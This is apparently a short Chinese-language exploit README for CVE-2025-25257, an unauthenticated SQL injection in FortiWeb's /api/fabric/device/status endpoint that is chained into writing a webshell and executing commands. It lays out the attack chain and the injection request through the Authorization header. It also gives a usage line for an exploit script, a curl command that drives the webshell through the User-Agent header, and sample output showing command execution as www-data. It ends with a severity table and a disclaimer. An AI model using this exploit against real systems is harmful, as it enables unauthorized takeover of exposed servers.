关键SQL注入 → Webshell执行
发现并武器化 by 0xgh057r3c0n
CVE-2025-25257 影响暴露端点 /api/fabric/device/status 的 FortiWeb 系统,该端点未能正确清理 Authorization 头输入。
攻击者可以执行未经验证的SQL注入,在服务器上写入webshell并远程执行命令。
SQL Injection ➜ SQL INTO OUTFILE ➜ Python chmod Gadget ➜ Trigger ➜ Webshell RCE
GET /api/fabric/device/status
Header: Authorization: Bearer ';<SQLi>
INTO OUTFILE 释放webshellpython3 CVE-2025-25257.py -t https://target-host.com
然后:
curl -k -H "User-Agent: whoami" https://target-host.com/cgi-bin/x.cgi
requests 模块安装:
pip install requests
[*] Writing Webshell Chunk: #!/bin/sh ...
[>] Exporting Webshell to File...
[*] Writing Chmod Gadget Chunk: import os ...
[>] Triggering chmod via Python Hook...
[*] Executing `id` via Webshell...
uid=33(www-data) gid=33(www-data)
[+] Webshell Ready:
> https://target-host.com/cgi-bin/x.cgi
> Send commands via User-Agent header
| 指标 | 分值 |
|---|---|
| 基础评分 | 9.8(严重) |
| 攻击向量 | 网络 |
| 所需权限 | 无 |
| 用户交互 | 无 |
| 影响 | 高(机密性/完整性/可用性) |
0xgh057r3c0n 🔗 github.com/0xgh057r3c0n
此概念验证仅用于教育和授权测试。 使用风险自负。作者不对滥用负责。